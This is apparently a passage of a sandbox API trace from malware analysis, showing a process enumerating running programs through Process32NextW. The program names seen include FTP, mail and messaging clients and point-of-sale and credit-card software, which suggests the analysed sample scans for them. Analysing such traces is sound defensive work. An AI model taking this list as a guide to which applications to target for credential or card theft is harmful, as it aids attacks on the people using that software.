	[0069.283] lstrlenW (lpString="svchost.exe") returned 11
	[0069.283] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0069.284] lstrlenW (lpString="audiodg.exe") returned 11
	[0069.284] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0069.284] lstrlenW (lpString="sihost.exe") returned 10
	[0069.284] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.285] lstrlenW (lpString="svchost.exe") returned 11
	[0069.285] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.285] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.285] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0069.286] lstrlenW (lpString="explorer.exe") returned 12
	[0069.286] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0069.286] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0069.286] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0069.287] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0069.287] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0069.288] lstrlenW (lpString="Memory Compression") returned 18
	[0069.288] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0069.288] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0069.288] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0069.289] lstrlenW (lpString="SearchUI.exe") returned 12
	[0069.289] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0069.289] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0069.289] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0069.290] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0069.290] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0069.290] lstrlenW (lpString="pending.exe") returned 11
	[0069.290] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0069.291] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0069.291] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0069.291] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0069.291] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0069.292] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0069.292] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0069.292] lstrlenW (lpString="search.exe") returned 10
	[0069.292] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0069.293] lstrlenW (lpString="compatibility.exe") returned 17
	[0069.293] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0069.293] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0069.293] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0069.294] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0069.294] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0069.294] lstrlenW (lpString="try.exe") returned 7
	[0069.294] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0069.295] lstrlenW (lpString="consultancy.exe") returned 15
	[0069.295] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0069.295] lstrlenW (lpString="especially.exe") returned 14
	[0069.295] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0069.296] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0069.296] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0069.296] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0069.296] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0069.297] lstrlenW (lpString="modules.exe") returned 11
	[0069.297] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0069.297] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0069.297] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0069.298] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0069.298] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0069.298] lstrlenW (lpString="3dftp.exe") returned 9
	[0069.298] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0069.299] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0069.299] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0069.299] lstrlenW (lpString="alftp.exe") returned 9
	[0069.299] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0069.300] lstrlenW (lpString="barca.exe") returned 9
	[0069.300] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0069.301] lstrlenW (lpString="bitkinex.exe") returned 12
	[0069.301] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0069.302] lstrlenW (lpString="coreftp.exe") returned 11
	[0069.302] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0069.303] lstrlenW (lpString="far.exe") returned 7
	[0069.303] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0069.304] lstrlenW (lpString="filezilla.exe") returned 13
	[0069.304] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0069.305] lstrlenW (lpString="flashfxp.exe") returned 12
	[0069.305] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0069.306] lstrlenW (lpString="fling.exe") returned 9
	[0069.306] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0069.307] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0069.307] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0069.307] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0069.307] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0069.308] lstrlenW (lpString="icq.exe") returned 7
	[0069.308] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0069.309] lstrlenW (lpString="leechftp.exe") returned 12
	[0069.309] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0069.310] lstrlenW (lpString="ncftp.exe") returned 9
	[0069.310] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0069.311] lstrlenW (lpString="notepad.exe") returned 11
	[0069.311] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0069.312] lstrlenW (lpString="operamail.exe") returned 13
	[0069.312] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0069.313] lstrlenW (lpString="pidgin.exe") returned 10
	[0069.313] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0069.314] lstrlenW (lpString="scriptftp.exe") returned 13
	[0069.314] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0069.315] lstrlenW (lpString="skype.exe") returned 9
	[0069.315] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0069.316] lstrlenW (lpString="smartftp.exe") returned 12
	[0069.316] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0069.316] lstrlenW (lpString="thunderbird.exe") returned 15
	[0069.316] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0069.317] lstrlenW (lpString="totalcmd.exe") returned 12
	[0069.317] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0069.318] lstrlenW (lpString="trillian.exe") returned 12
	[0069.318] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0069.319] lstrlenW (lpString="webdrive.exe") returned 12
	[0069.319] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0069.320] lstrlenW (lpString="whatsapp.exe") returned 12
	[0069.320] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0069.320] lstrlenW (lpString="winscp.exe") returned 10
	[0069.320] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0069.321] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0069.321] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0069.322] lstrlenW (lpString="active-charge.exe") returned 17
	[0069.322] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0069.323] lstrlenW (lpString="accupos.exe") returned 11
	[0069.323] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0069.323] lstrlenW (lpString="afr38.exe") returned 9
	[0069.323] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0069.324] lstrlenW (lpString="aldelo.exe") returned 10
	[0069.324] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0069.325] lstrlenW (lpString="ccv_server.exe") returned 14
	[0069.325] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0069.326] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0069.326] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0069.326] lstrlenW (lpString="creditservice.exe") returned 17
	[0069.326] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0069.327] lstrlenW (lpString="edcsvr.exe") returned 10
	[0069.327] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0069.328] lstrlenW (lpString="fpos.exe") returned 8
	[0069.328] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0069.328] lstrlenW (lpString="isspos.exe") returned 10
	[0069.328] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0069.330] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0069.330] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0069.330] lstrlenW (lpString="omnipos.exe") returned 11
	[0069.330] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0069.331] lstrlenW (lpString="spcwin.exe") returned 10
	[0069.331] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0069.332] lstrlenW (lpString="spgagentservice.exe") returned 19
